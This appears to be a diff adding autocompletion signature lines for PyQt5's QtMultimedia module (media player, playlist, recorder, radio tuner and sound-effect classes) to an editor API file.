+QtMultimedia.QMediaPlayer.Flags.__init__?1(self, QMediaPlayer.Flags) +QtMultimedia.QMediaPlayerControl?1(QObject parent=None) +QtMultimedia.QMediaPlayerControl.__init__?1(self, QObject parent=None) +QtMultimedia.QMediaPlayerControl.state?4() -> QMediaPlayer.State +QtMultimedia.QMediaPlayerControl.mediaStatus?4() -> QMediaPlayer.MediaStatus +QtMultimedia.QMediaPlayerControl.duration?4() -> int +QtMultimedia.QMediaPlayerControl.position?4() -> int +QtMultimedia.QMediaPlayerControl.setPosition?4(int) +QtMultimedia.QMediaPlayerControl.volume?4() -> int +QtMultimedia.QMediaPlayerControl.setVolume?4(int) +QtMultimedia.QMediaPlayerControl.isMuted?4() -> bool +QtMultimedia.QMediaPlayerControl.setMuted?4(bool) +QtMultimedia.QMediaPlayerControl.bufferStatus?4() -> int +QtMultimedia.QMediaPlayerControl.isAudioAvailable?4() -> bool +QtMultimedia.QMediaPlayerControl.isVideoAvailable?4() -> bool +QtMultimedia.QMediaPlayerControl.isSeekable?4() -> bool +QtMultimedia.QMediaPlayerControl.availablePlaybackRanges?4() -> QMediaTimeRange +QtMultimedia.QMediaPlayerControl.playbackRate?4() -> float +QtMultimedia.QMediaPlayerControl.setPlaybackRate?4(float) +QtMultimedia.QMediaPlayerControl.media?4() -> QMediaContent +QtMultimedia.QMediaPlayerControl.mediaStream?4() -> QIODevice +QtMultimedia.QMediaPlayerControl.setMedia?4(QMediaContent, QIODevice) +QtMultimedia.QMediaPlayerControl.play?4() +QtMultimedia.QMediaPlayerControl.pause?4() +QtMultimedia.QMediaPlayerControl.stop?4() +QtMultimedia.QMediaPlayerControl.mediaChanged?4(QMediaContent) +QtMultimedia.QMediaPlayerControl.durationChanged?4(int) +QtMultimedia.QMediaPlayerControl.positionChanged?4(int) +QtMultimedia.QMediaPlayerControl.stateChanged?4(QMediaPlayer.State) +QtMultimedia.QMediaPlayerControl.mediaStatusChanged?4(QMediaPlayer.MediaStatus) +QtMultimedia.QMediaPlayerControl.volumeChanged?4(int) +QtMultimedia.QMediaPlayerControl.mutedChanged?4(bool) +QtMultimedia.QMediaPlayerControl.audioAvailableChanged?4(bool) +QtMultimedia.QMediaPlayerControl.videoAvailableChanged?4(bool) +QtMultimedia.QMediaPlayerControl.bufferStatusChanged?4(int) +QtMultimedia.QMediaPlayerControl.seekableChanged?4(bool) +QtMultimedia.QMediaPlayerControl.availablePlaybackRangesChanged?4(QMediaTimeRange) +QtMultimedia.QMediaPlayerControl.playbackRateChanged?4(float) +QtMultimedia.QMediaPlayerControl.error?4(int, QString) +QtMultimedia.QMediaPlaylist.Error?10 +QtMultimedia.QMediaPlaylist.Error.NoError?10 +QtMultimedia.QMediaPlaylist.Error.FormatError?10 +QtMultimedia.QMediaPlaylist.Error.FormatNotSupportedError?10 +QtMultimedia.QMediaPlaylist.Error.NetworkError?10 +QtMultimedia.QMediaPlaylist.Error.AccessDeniedError?10 +QtMultimedia.QMediaPlaylist.PlaybackMode?10 +QtMultimedia.QMediaPlaylist.PlaybackMode.CurrentItemOnce?10 +QtMultimedia.QMediaPlaylist.PlaybackMode.CurrentItemInLoop?10 +QtMultimedia.QMediaPlaylist.PlaybackMode.Sequential?10 +QtMultimedia.QMediaPlaylist.PlaybackMode.Loop?10 +QtMultimedia.QMediaPlaylist.PlaybackMode.Random?10 +QtMultimedia.QMediaPlaylist?1(QObject parent=None) +QtMultimedia.QMediaPlaylist.__init__?1(self, QObject parent=None) +QtMultimedia.QMediaPlaylist.mediaObject?4() -> QMediaObject +QtMultimedia.QMediaPlaylist.playbackMode?4() -> QMediaPlaylist.PlaybackMode +QtMultimedia.QMediaPlaylist.setPlaybackMode?4(QMediaPlaylist.PlaybackMode) +QtMultimedia.QMediaPlaylist.currentIndex?4() -> int +QtMultimedia.QMediaPlaylist.currentMedia?4() -> QMediaContent +QtMultimedia.QMediaPlaylist.nextIndex?4(int steps=1) -> int +QtMultimedia.QMediaPlaylist.previousIndex?4(int steps=1) -> int +QtMultimedia.QMediaPlaylist.media?4(int) -> QMediaContent +QtMultimedia.QMediaPlaylist.mediaCount?4() -> int +QtMultimedia.QMediaPlaylist.isEmpty?4() -> bool +QtMultimedia.QMediaPlaylist.isReadOnly?4() -> bool +QtMultimedia.QMediaPlaylist.addMedia?4(QMediaContent) -> bool +QtMultimedia.QMediaPlaylist.addMedia?4(unknown-type) -> bool +QtMultimedia.QMediaPlaylist.insertMedia?4(int, QMediaContent) -> bool +QtMultimedia.QMediaPlaylist.insertMedia?4(int, unknown-type) -> bool +QtMultimedia.QMediaPlaylist.removeMedia?4(int) -> bool +QtMultimedia.QMediaPlaylist.removeMedia?4(int, int) -> bool +QtMultimedia.QMediaPlaylist.clear?4() -> bool +QtMultimedia.QMediaPlaylist.load?4(QNetworkRequest, str format=None) +QtMultimedia.QMediaPlaylist.load?4(QUrl, str format=None) +QtMultimedia.QMediaPlaylist.load?4(QIODevice, str format=None) +QtMultimedia.QMediaPlaylist.save?4(QUrl, str format=None) -> bool +QtMultimedia.QMediaPlaylist.save?4(QIODevice, str) -> bool +QtMultimedia.QMediaPlaylist.error?4() -> QMediaPlaylist.Error +QtMultimedia.QMediaPlaylist.errorString?4() -> QString +QtMultimedia.QMediaPlaylist.moveMedia?4(int, int) -> bool +QtMultimedia.QMediaPlaylist.shuffle?4() +QtMultimedia.QMediaPlaylist.next?4() +QtMultimedia.QMediaPlaylist.previous?4() +QtMultimedia.QMediaPlaylist.setCurrentIndex?4(int) +QtMultimedia.QMediaPlaylist.currentIndexChanged?4(int) +QtMultimedia.QMediaPlaylist.playbackModeChanged?4(QMediaPlaylist.PlaybackMode) +QtMultimedia.QMediaPlaylist.currentMediaChanged?4(QMediaContent) +QtMultimedia.QMediaPlaylist.mediaAboutToBeInserted?4(int, int) +QtMultimedia.QMediaPlaylist.mediaInserted?4(int, int) +QtMultimedia.QMediaPlaylist.mediaAboutToBeRemoved?4(int, int) +QtMultimedia.QMediaPlaylist.mediaRemoved?4(int, int) +QtMultimedia.QMediaPlaylist.mediaChanged?4(int, int) +QtMultimedia.QMediaPlaylist.loaded?4() +QtMultimedia.QMediaPlaylist.loadFailed?4() +QtMultimedia.QMediaPlaylist.setMediaObject?4(QMediaObject) -> bool +QtMultimedia.QMediaRecorderControl?1(QObject parent=None) +QtMultimedia.QMediaRecorderControl.__init__?1(self, QObject parent=None) +QtMultimedia.QMediaRecorderControl.outputLocation?4() -> QUrl +QtMultimedia.QMediaRecorderControl.setOutputLocation?4(QUrl) -> bool +QtMultimedia.QMediaRecorderControl.state?4() -> QMediaRecorder.State +QtMultimedia.QMediaRecorderControl.status?4() -> QMediaRecorder.Status +QtMultimedia.QMediaRecorderControl.duration?4() -> int +QtMultimedia.QMediaRecorderControl.isMuted?4() -> bool +QtMultimedia.QMediaRecorderControl.volume?4() -> float +QtMultimedia.QMediaRecorderControl.applySettings?4() +QtMultimedia.QMediaRecorderControl.stateChanged?4(QMediaRecorder.State) +QtMultimedia.QMediaRecorderControl.statusChanged?4(QMediaRecorder.Status) +QtMultimedia.QMediaRecorderControl.durationChanged?4(int) +QtMultimedia.QMediaRecorderControl.mutedChanged?4(bool) +QtMultimedia.QMediaRecorderControl.volumeChanged?4(float) +QtMultimedia.QMediaRecorderControl.actualLocationChanged?4(QUrl) +QtMultimedia.QMediaRecorderControl.error?4(int, QString) +QtMultimedia.QMediaRecorderControl.setState?4(QMediaRecorder.State) +QtMultimedia.QMediaRecorderControl.setMuted?4(bool) +QtMultimedia.QMediaRecorderControl.setVolume?4(float) +QtMultimedia.QMediaResource?1() +QtMultimedia.QMediaResource.__init__?1(self) +QtMultimedia.QMediaResource?1(QUrl, QString mimeType='') +QtMultimedia.QMediaResource.__init__?1(self, QUrl, QString mimeType='') +QtMultimedia.QMediaResource?1(QNetworkRequest, QString mimeType='') +QtMultimedia.QMediaResource.__init__?1(self, QNetworkRequest, QString mimeType='') +QtMultimedia.QMediaResource?1(QMediaResource) +QtMultimedia.QMediaResource.__init__?1(self, QMediaResource) +QtMultimedia.QMediaResource.isNull?4() -> bool +QtMultimedia.QMediaResource.url?4() -> QUrl +QtMultimedia.QMediaResource.request?4() -> QNetworkRequest +QtMultimedia.QMediaResource.mimeType?4() -> QString +QtMultimedia.QMediaResource.language?4() -> QString +QtMultimedia.QMediaResource.setLanguage?4(QString) +QtMultimedia.QMediaResource.audioCodec?4() -> QString +QtMultimedia.QMediaResource.setAudioCodec?4(QString) +QtMultimedia.QMediaResource.videoCodec?4() -> QString +QtMultimedia.QMediaResource.setVideoCodec?4(QString) +QtMultimedia.QMediaResource.dataSize?4() -> int +QtMultimedia.QMediaResource.setDataSize?4(int) +QtMultimedia.QMediaResource.audioBitRate?4() -> int +QtMultimedia.QMediaResource.setAudioBitRate?4(int) +QtMultimedia.QMediaResource.sampleRate?4() -> int +QtMultimedia.QMediaResource.setSampleRate?4(int) +QtMultimedia.QMediaResource.channelCount?4() -> int +QtMultimedia.QMediaResource.setChannelCount?4(int) +QtMultimedia.QMediaResource.videoBitRate?4() -> int +QtMultimedia.QMediaResource.setVideoBitRate?4(int) +QtMultimedia.QMediaResource.resolution?4() -> QSize +QtMultimedia.QMediaResource.setResolution?4(QSize) +QtMultimedia.QMediaResource.setResolution?4(int, int) +QtMultimedia.QMediaService?1(QObject) +QtMultimedia.QMediaService.__init__?1(self, QObject) +QtMultimedia.QMediaService.requestControl?4(str) -> QMediaControl +QtMultimedia.QMediaService.releaseControl?4(QMediaControl) +QtMultimedia.QMediaStreamsControl.StreamType?10 +QtMultimedia.QMediaStreamsControl.StreamType.UnknownStream?10 +QtMultimedia.QMediaStreamsControl.StreamType.VideoStream?10 +QtMultimedia.QMediaStreamsControl.StreamType.AudioStream?10 +QtMultimedia.QMediaStreamsControl.StreamType.SubPictureStream?10 +QtMultimedia.QMediaStreamsControl.StreamType.DataStream?10 +QtMultimedia.QMediaStreamsControl?1(QObject parent=None) +QtMultimedia.QMediaStreamsControl.__init__?1(self, QObject parent=None) +QtMultimedia.QMediaStreamsControl.streamCount?4() -> int +QtMultimedia.QMediaStreamsControl.streamType?4(int) -> QMediaStreamsControl.StreamType +QtMultimedia.QMediaStreamsControl.metaData?4(int, QString) -> QVariant +QtMultimedia.QMediaStreamsControl.isActive?4(int) -> bool +QtMultimedia.QMediaStreamsControl.setActive?4(int, bool) +QtMultimedia.QMediaStreamsControl.streamsChanged?4() +QtMultimedia.QMediaStreamsControl.activeStreamsChanged?4() +QtMultimedia.QMediaTimeInterval?1() +QtMultimedia.QMediaTimeInterval.__init__?1(self) +QtMultimedia.QMediaTimeInterval?1(int, int) +QtMultimedia.QMediaTimeInterval.__init__?1(self, int, int) +QtMultimedia.QMediaTimeInterval?1(QMediaTimeInterval) +QtMultimedia.QMediaTimeInterval.__init__?1(self, QMediaTimeInterval) +QtMultimedia.QMediaTimeInterval.start?4() -> int +QtMultimedia.QMediaTimeInterval.end?4() -> int +QtMultimedia.QMediaTimeInterval.contains?4(int) -> bool +QtMultimedia.QMediaTimeInterval.isNormal?4() -> bool +QtMultimedia.QMediaTimeInterval.normalized?4() -> QMediaTimeInterval +QtMultimedia.QMediaTimeInterval.translated?4(int) -> QMediaTimeInterval +QtMultimedia.QMediaTimeRange?1() +QtMultimedia.QMediaTimeRange.__init__?1(self) +QtMultimedia.QMediaTimeRange?1(int, int) +QtMultimedia.QMediaTimeRange.__init__?1(self, int, int) +QtMultimedia.QMediaTimeRange?1(QMediaTimeInterval) +QtMultimedia.QMediaTimeRange.__init__?1(self, QMediaTimeInterval) +QtMultimedia.QMediaTimeRange?1(QMediaTimeRange) +QtMultimedia.QMediaTimeRange.__init__?1(self, QMediaTimeRange) +QtMultimedia.QMediaTimeRange.earliestTime?4() -> int +QtMultimedia.QMediaTimeRange.latestTime?4() -> int +QtMultimedia.QMediaTimeRange.intervals?4() -> unknown-type +QtMultimedia.QMediaTimeRange.isEmpty?4() -> bool +QtMultimedia.QMediaTimeRange.isContinuous?4() -> bool +QtMultimedia.QMediaTimeRange.contains?4(int) -> bool +QtMultimedia.QMediaTimeRange.addInterval?4(int, int) +QtMultimedia.QMediaTimeRange.addInterval?4(QMediaTimeInterval) +QtMultimedia.QMediaTimeRange.addTimeRange?4(QMediaTimeRange) +QtMultimedia.QMediaTimeRange.removeInterval?4(int, int) +QtMultimedia.QMediaTimeRange.removeInterval?4(QMediaTimeInterval) +QtMultimedia.QMediaTimeRange.removeTimeRange?4(QMediaTimeRange) +QtMultimedia.QMediaTimeRange.clear?4() +QtMultimedia.QMediaVideoProbeControl?1(QObject parent=None) +QtMultimedia.QMediaVideoProbeControl.__init__?1(self, QObject parent=None) +QtMultimedia.QMediaVideoProbeControl.videoFrameProbed?4(QVideoFrame) +QtMultimedia.QMediaVideoProbeControl.flush?4() +QtMultimedia.QMetaDataReaderControl?1(QObject parent=None) +QtMultimedia.QMetaDataReaderControl.__init__?1(self, QObject parent=None) +QtMultimedia.QMetaDataReaderControl.isMetaDataAvailable?4() -> bool +QtMultimedia.QMetaDataReaderControl.metaData?4(QString) -> QVariant +QtMultimedia.QMetaDataReaderControl.availableMetaData?4() -> QStringList +QtMultimedia.QMetaDataReaderControl.metaDataChanged?4() +QtMultimedia.QMetaDataReaderControl.metaDataChanged?4(QString, QVariant) +QtMultimedia.QMetaDataReaderControl.metaDataAvailableChanged?4(bool) +QtMultimedia.QMetaDataWriterControl?1(QObject parent=None) +QtMultimedia.QMetaDataWriterControl.__init__?1(self, QObject parent=None) +QtMultimedia.QMetaDataWriterControl.isWritable?4() -> bool +QtMultimedia.QMetaDataWriterControl.isMetaDataAvailable?4() -> bool +QtMultimedia.QMetaDataWriterControl.metaData?4(QString) -> QVariant +QtMultimedia.QMetaDataWriterControl.setMetaData?4(QString, QVariant) +QtMultimedia.QMetaDataWriterControl.availableMetaData?4() -> QStringList +QtMultimedia.QMetaDataWriterControl.metaDataChanged?4() +QtMultimedia.QMetaDataWriterControl.metaDataChanged?4(QString, QVariant) +QtMultimedia.QMetaDataWriterControl.writableChanged?4(bool) +QtMultimedia.QMetaDataWriterControl.metaDataAvailableChanged?4(bool) +QtMultimedia.QMultimedia.AvailabilityStatus?10 +QtMultimedia.QMultimedia.AvailabilityStatus.Available?10 +QtMultimedia.QMultimedia.AvailabilityStatus.ServiceMissing?10 +QtMultimedia.QMultimedia.AvailabilityStatus.Busy?10 +QtMultimedia.QMultimedia.AvailabilityStatus.ResourceError?10 +QtMultimedia.QMultimedia.EncodingMode?10 +QtMultimedia.QMultimedia.EncodingMode.ConstantQualityEncoding?10 +QtMultimedia.QMultimedia.EncodingMode.ConstantBitRateEncoding?10 +QtMultimedia.QMultimedia.EncodingMode.AverageBitRateEncoding?10 +QtMultimedia.QMultimedia.EncodingMode.TwoPassEncoding?10 +QtMultimedia.QMultimedia.EncodingQuality?10 +QtMultimedia.QMultimedia.EncodingQuality.VeryLowQuality?10 +QtMultimedia.QMultimedia.EncodingQuality.LowQuality?10 +QtMultimedia.QMultimedia.EncodingQuality.NormalQuality?10 +QtMultimedia.QMultimedia.EncodingQuality.HighQuality?10 +QtMultimedia.QMultimedia.EncodingQuality.VeryHighQuality?10 +QtMultimedia.QMultimedia.SupportEstimate?10 +QtMultimedia.QMultimedia.SupportEstimate.NotSupported?10 +QtMultimedia.QMultimedia.SupportEstimate.MaybeSupported?10 +QtMultimedia.QMultimedia.SupportEstimate.ProbablySupported?10 +QtMultimedia.QMultimedia.SupportEstimate.PreferredService?10 +QtMultimedia.QRadioData.ProgramType?10 +QtMultimedia.QRadioData.ProgramType.Undefined?10 +QtMultimedia.QRadioData.ProgramType.News?10 +QtMultimedia.QRadioData.ProgramType.CurrentAffairs?10 +QtMultimedia.QRadioData.ProgramType.Information?10 +QtMultimedia.QRadioData.ProgramType.Sport?10 +QtMultimedia.QRadioData.ProgramType.Education?10 +QtMultimedia.QRadioData.ProgramType.Drama?10 +QtMultimedia.QRadioData.ProgramType.Culture?10 +QtMultimedia.QRadioData.ProgramType.Science?10 +QtMultimedia.QRadioData.ProgramType.Varied?10 +QtMultimedia.QRadioData.ProgramType.PopMusic?10 +QtMultimedia.QRadioData.ProgramType.RockMusic?10 +QtMultimedia.QRadioData.ProgramType.EasyListening?10 +QtMultimedia.QRadioData.ProgramType.LightClassical?10 +QtMultimedia.QRadioData.ProgramType.SeriousClassical?10 +QtMultimedia.QRadioData.ProgramType.OtherMusic?10 +QtMultimedia.QRadioData.ProgramType.Weather?10 +QtMultimedia.QRadioData.ProgramType.Finance?10 +QtMultimedia.QRadioData.ProgramType.ChildrensProgrammes?10 +QtMultimedia.QRadioData.ProgramType.SocialAffairs?10 +QtMultimedia.QRadioData.ProgramType.Religion?10 +QtMultimedia.QRadioData.ProgramType.PhoneIn?10 +QtMultimedia.QRadioData.ProgramType.Travel?10 +QtMultimedia.QRadioData.ProgramType.Leisure?10 +QtMultimedia.QRadioData.ProgramType.JazzMusic?10 +QtMultimedia.QRadioData.ProgramType.CountryMusic?10 +QtMultimedia.QRadioData.ProgramType.NationalMusic?10 +QtMultimedia.QRadioData.ProgramType.OldiesMusic?10 +QtMultimedia.QRadioData.ProgramType.FolkMusic?10 +QtMultimedia.QRadioData.ProgramType.Documentary?10 +QtMultimedia.QRadioData.ProgramType.AlarmTest?10 +QtMultimedia.QRadioData.ProgramType.Alarm?10 +QtMultimedia.QRadioData.ProgramType.Talk?10 +QtMultimedia.QRadioData.ProgramType.ClassicRock?10 +QtMultimedia.QRadioData.ProgramType.AdultHits?10 +QtMultimedia.QRadioData.ProgramType.SoftRock?10 +QtMultimedia.QRadioData.ProgramType.Top40?10 +QtMultimedia.QRadioData.ProgramType.Soft?10 +QtMultimedia.QRadioData.ProgramType.Nostalgia?10 +QtMultimedia.QRadioData.ProgramType.Classical?10 +QtMultimedia.QRadioData.ProgramType.RhythmAndBlues?10 +QtMultimedia.QRadioData.ProgramType.SoftRhythmAndBlues?10 +QtMultimedia.QRadioData.ProgramType.Language?10 +QtMultimedia.QRadioData.ProgramType.ReligiousMusic?10 +QtMultimedia.QRadioData.ProgramType.ReligiousTalk?10 +QtMultimedia.QRadioData.ProgramType.Personality?10 +QtMultimedia.QRadioData.ProgramType.Public?10 +QtMultimedia.QRadioData.ProgramType.College?10 +QtMultimedia.QRadioData.Error?10 +QtMultimedia.QRadioData.Error.NoError?10 +QtMultimedia.QRadioData.Error.ResourceError?10 +QtMultimedia.QRadioData.Error.OpenError?10 +QtMultimedia.QRadioData.Error.OutOfRangeError?10 +QtMultimedia.QRadioData?1(QMediaObject, QObject parent=None) +QtMultimedia.QRadioData.__init__?1(self, QMediaObject, QObject parent=None) +QtMultimedia.QRadioData.mediaObject?4() -> QMediaObject +QtMultimedia.QRadioData.availability?4() -> QMultimedia.AvailabilityStatus +QtMultimedia.QRadioData.stationId?4() -> QString +QtMultimedia.QRadioData.programType?4() -> QRadioData.ProgramType +QtMultimedia.QRadioData.programTypeName?4() -> QString +QtMultimedia.QRadioData.stationName?4() -> QString +QtMultimedia.QRadioData.radioText?4() -> QString +QtMultimedia.QRadioData.isAlternativeFrequenciesEnabled?4() -> bool +QtMultimedia.QRadioData.error?4() -> QRadioData.Error +QtMultimedia.QRadioData.errorString?4() -> QString +QtMultimedia.QRadioData.setAlternativeFrequenciesEnabled?4(bool) +QtMultimedia.QRadioData.stationIdChanged?4(QString) +QtMultimedia.QRadioData.programTypeChanged?4(QRadioData.ProgramType) +QtMultimedia.QRadioData.programTypeNameChanged?4(QString) +QtMultimedia.QRadioData.stationNameChanged?4(QString) +QtMultimedia.QRadioData.radioTextChanged?4(QString) +QtMultimedia.QRadioData.alternativeFrequenciesEnabledChanged?4(bool) +QtMultimedia.QRadioData.error?4(QRadioData.Error) +QtMultimedia.QRadioData.setMediaObject?4(QMediaObject) -> bool +QtMultimedia.QRadioDataControl?1(QObject parent=None) +QtMultimedia.QRadioDataControl.__init__?1(self, QObject parent=None) +QtMultimedia.QRadioDataControl.stationId?4() -> QString +QtMultimedia.QRadioDataControl.programType?4() -> QRadioData.ProgramType +QtMultimedia.QRadioDataControl.programTypeName?4() -> QString +QtMultimedia.QRadioDataControl.stationName?4() -> QString +QtMultimedia.QRadioDataControl.radioText?4() -> QString +QtMultimedia.QRadioDataControl.setAlternativeFrequenciesEnabled?4(bool) +QtMultimedia.QRadioDataControl.isAlternativeFrequenciesEnabled?4() -> bool +QtMultimedia.QRadioDataControl.error?4() -> QRadioData.Error +QtMultimedia.QRadioDataControl.errorString?4() -> QString +QtMultimedia.QRadioDataControl.stationIdChanged?4(QString) +QtMultimedia.QRadioDataControl.programTypeChanged?4(QRadioData.ProgramType) +QtMultimedia.QRadioDataControl.programTypeNameChanged?4(QString) +QtMultimedia.QRadioDataControl.stationNameChanged?4(QString) +QtMultimedia.QRadioDataControl.radioTextChanged?4(QString) +QtMultimedia.QRadioDataControl.alternativeFrequenciesEnabledChanged?4(bool) +QtMultimedia.QRadioDataControl.error?4(QRadioData.Error) +QtMultimedia.QRadioTuner.SearchMode?10 +QtMultimedia.QRadioTuner.SearchMode.SearchFast?10 +QtMultimedia.QRadioTuner.SearchMode.SearchGetStationId?10 +QtMultimedia.QRadioTuner.StereoMode?10 +QtMultimedia.QRadioTuner.StereoMode.ForceStereo?10 +QtMultimedia.QRadioTuner.StereoMode.ForceMono?10 +QtMultimedia.QRadioTuner.StereoMode.Auto?10 +QtMultimedia.QRadioTuner.Error?10 +QtMultimedia.QRadioTuner.Error.NoError?10 +QtMultimedia.QRadioTuner.Error.ResourceError?10 +QtMultimedia.QRadioTuner.Error.OpenError?10 +QtMultimedia.QRadioTuner.Error.OutOfRangeError?10 +QtMultimedia.QRadioTuner.Band?10 +QtMultimedia.QRadioTuner.Band.AM?10 +QtMultimedia.QRadioTuner.Band.FM?10 +QtMultimedia.QRadioTuner.Band.SW?10 +QtMultimedia.QRadioTuner.Band.LW?10 +QtMultimedia.QRadioTuner.Band.FM2?10 +QtMultimedia.QRadioTuner.State?10 +QtMultimedia.QRadioTuner.State.ActiveState?10 +QtMultimedia.QRadioTuner.State.StoppedState?10 +QtMultimedia.QRadioTuner?1(QObject parent=None) +QtMultimedia.QRadioTuner.__init__?1(self, QObject parent=None) +QtMultimedia.QRadioTuner.availability?4() -> QMultimedia.AvailabilityStatus +QtMultimedia.QRadioTuner.state?4() -> QRadioTuner.State +QtMultimedia.QRadioTuner.band?4() -> QRadioTuner.Band +QtMultimedia.QRadioTuner.isBandSupported?4(QRadioTuner.Band) -> bool +QtMultimedia.QRadioTuner.frequency?4() -> int +QtMultimedia.QRadioTuner.frequencyStep?4(QRadioTuner.Band) -> int +QtMultimedia.QRadioTuner.frequencyRange?4(QRadioTuner.Band) -> unknown-type +QtMultimedia.QRadioTuner.isStereo?4() -> bool +QtMultimedia.QRadioTuner.setStereoMode?4(QRadioTuner.StereoMode) +QtMultimedia.QRadioTuner.stereoMode?4() -> QRadioTuner.StereoMode +QtMultimedia.QRadioTuner.signalStrength?4() -> int +QtMultimedia.QRadioTuner.volume?4() -> int +QtMultimedia.QRadioTuner.isMuted?4() -> bool +QtMultimedia.QRadioTuner.isSearching?4() -> bool +QtMultimedia.QRadioTuner.isAntennaConnected?4() -> bool +QtMultimedia.QRadioTuner.error?4() -> QRadioTuner.Error +QtMultimedia.QRadioTuner.errorString?4() -> QString +QtMultimedia.QRadioTuner.radioData?4() -> QRadioData +QtMultimedia.QRadioTuner.searchForward?4() +QtMultimedia.QRadioTuner.searchBackward?4() +QtMultimedia.QRadioTuner.searchAllStations?4(QRadioTuner.SearchMode searchMode=QRadioTuner.SearchFast) +QtMultimedia.QRadioTuner.cancelSearch?4() +QtMultimedia.QRadioTuner.setBand?4(QRadioTuner.Band) +QtMultimedia.QRadioTuner.setFrequency?4(int) +QtMultimedia.QRadioTuner.setVolume?4(int) +QtMultimedia.QRadioTuner.setMuted?4(bool) +QtMultimedia.QRadioTuner.start?4() +QtMultimedia.QRadioTuner.stop?4() +QtMultimedia.QRadioTuner.stateChanged?4(QRadioTuner.State) +QtMultimedia.QRadioTuner.bandChanged?4(QRadioTuner.Band) +QtMultimedia.QRadioTuner.frequencyChanged?4(int) +QtMultimedia.QRadioTuner.stereoStatusChanged?4(bool) +QtMultimedia.QRadioTuner.searchingChanged?4(bool) +QtMultimedia.QRadioTuner.signalStrengthChanged?4(int) +QtMultimedia.QRadioTuner.volumeChanged?4(int) +QtMultimedia.QRadioTuner.mutedChanged?4(bool) +QtMultimedia.QRadioTuner.stationFound?4(int, QString) +QtMultimedia.QRadioTuner.antennaConnectedChanged?4(bool) +QtMultimedia.QRadioTuner.error?4(QRadioTuner.Error) +QtMultimedia.QRadioTunerControl?1(QObject parent=None) +QtMultimedia.QRadioTunerControl.__init__?1(self, QObject parent=None) +QtMultimedia.QRadioTunerControl.state?4() -> QRadioTuner.State +QtMultimedia.QRadioTunerControl.band?4() -> QRadioTuner.Band +QtMultimedia.QRadioTunerControl.setBand?4(QRadioTuner.Band) +QtMultimedia.QRadioTunerControl.isBandSupported?4(QRadioTuner.Band) -> bool +QtMultimedia.QRadioTunerControl.frequency?4() -> int +QtMultimedia.QRadioTunerControl.frequencyStep?4(QRadioTuner.Band) -> int +QtMultimedia.QRadioTunerControl.frequencyRange?4(QRadioTuner.Band) -> unknown-type +QtMultimedia.QRadioTunerControl.setFrequency?4(int) +QtMultimedia.QRadioTunerControl.isStereo?4() -> bool +QtMultimedia.QRadioTunerControl.stereoMode?4() -> QRadioTuner.StereoMode +QtMultimedia.QRadioTunerControl.setStereoMode?4(QRadioTuner.StereoMode) +QtMultimedia.QRadioTunerControl.signalStrength?4() -> int +QtMultimedia.QRadioTunerControl.volume?4() -> int +QtMultimedia.QRadioTunerControl.setVolume?4(int) +QtMultimedia.QRadioTunerControl.isMuted?4() -> bool +QtMultimedia.QRadioTunerControl.setMuted?4(bool) +QtMultimedia.QRadioTunerControl.isSearching?4() -> bool +QtMultimedia.QRadioTunerControl.isAntennaConnected?4() -> bool +QtMultimedia.QRadioTunerControl.searchForward?4() +QtMultimedia.QRadioTunerControl.searchBackward?4() +QtMultimedia.QRadioTunerControl.searchAllStations?4(QRadioTuner.SearchMode searchMode=QRadioTuner.SearchFast) +QtMultimedia.QRadioTunerControl.cancelSearch?4() +QtMultimedia.QRadioTunerControl.start?4() +QtMultimedia.QRadioTunerControl.stop?4() +QtMultimedia.QRadioTunerControl.error?4() -> QRadioTuner.Error +QtMultimedia.QRadioTunerControl.errorString?4() -> QString +QtMultimedia.QRadioTunerControl.stateChanged?4(QRadioTuner.State) +QtMultimedia.QRadioTunerControl.bandChanged?4(QRadioTuner.Band) +QtMultimedia.QRadioTunerControl.frequencyChanged?4(int) +QtMultimedia.QRadioTunerControl.stereoStatusChanged?4(bool) +QtMultimedia.QRadioTunerControl.searchingChanged?4(bool) +QtMultimedia.QRadioTunerControl.signalStrengthChanged?4(int) +QtMultimedia.QRadioTunerControl.volumeChanged?4(int) +QtMultimedia.QRadioTunerControl.mutedChanged?4(bool) +QtMultimedia.QRadioTunerControl.error?4(QRadioTuner.Error) +QtMultimedia.QRadioTunerControl.stationFound?4(int, QString) +QtMultimedia.QRadioTunerControl.antennaConnectedChanged?4(bool) +QtMultimedia.QSound.Loop?10 +QtMultimedia.QSound.Loop.Infinite?10 +QtMultimedia.QSound?1(QString, QObject parent=None) +QtMultimedia.QSound.__init__?1(self, QString, QObject parent=None) +QtMultimedia.QSound.play?4(QString) +QtMultimedia.QSound.loops?4() -> int +QtMultimedia.QSound.loopsRemaining?4() -> int +QtMultimedia.QSound.setLoops?4(int) +QtMultimedia.QSound.fileName?4() -> QString +QtMultimedia.QSound.isFinished?4() -> bool +QtMultimedia.QSound.play?4() +QtMultimedia.QSound.stop?4() +QtMultimedia.QSoundEffect.Status?10 +QtMultimedia.QSoundEffect.Status.Null?10 +QtMultimedia.QSoundEffect.Status.Loading?10 +QtMultimedia.QSoundEffect.Status.Ready?10 +QtMultimedia.QSoundEffect.Status.Error?10 +QtMultimedia.QSoundEffect.Loop?10 +QtMultimedia.QSoundEffect.Loop.Infinite?10 +QtMultimedia.QSoundEffect?1(QObject parent=None) +QtMultimedia.QSoundEffect.__init__?1(self, QObject parent=None) +QtMultimedia.QSoundEffect?1(QAudioDeviceInfo, QObject parent=None) +QtMultimedia.QSoundEffect.__init__?1(self, QAudioDeviceInfo, QObject parent=None) +QtMultimedia.QSoundEffect.supportedMimeTypes?4() -> QStringList +QtMultimedia.QSoundEffect.source?4() -> QUrl +QtMultimedia.QSoundEffect.setSource?4(QUrl) +QtMultimedia.QSoundEffect.loopCount?4() -> int +QtMultimedia.QSoundEffect.loopsRemaining?4() -> int +QtMultimedia.QSoundEffect.setLoopCount?4(int) +QtMultimedia.QSoundEffect.volume?4() -> float +QtMultimedia.QSoundEffect.setVolume?4(float) +QtMultimedia.QSoundEffect.isMuted?4() -> bool +QtMultimedia.QSoundEffect.setMuted?4(bool) +QtMultimedia.QSoundEffect.isLoaded?4() -> bool +QtMultimedia.QSoundEffect.isPlaying?4() -> bool +QtMultimedia.QSoundEffect.status?4() -> QSoundEffect.Status +QtMultimedia.QSoundEffect.category?4() -> QString +QtMultimedia.QSoundEffect.setCategory?4(QString) +QtMultimedia.QSoundEffect.sourceChanged?4() +QtMultimedia.QSoundEffect.loopCountChanged?4() +QtMultimedia.QSoundEffect.loopsRemainingChanged?4() +QtMultimedia.QSoundEffect.volumeChanged?4() +QtMultimedia.QSoundEffect.mutedChanged?4() +QtMultimedia.QSoundEffect.loadedChanged?4() +QtMultimedia.QSoundEffect.playingChanged?4() +QtMultimedia.QSoundEffect.statusChanged?4() +QtMultimedia.QSoundEffect.categoryChanged?4() 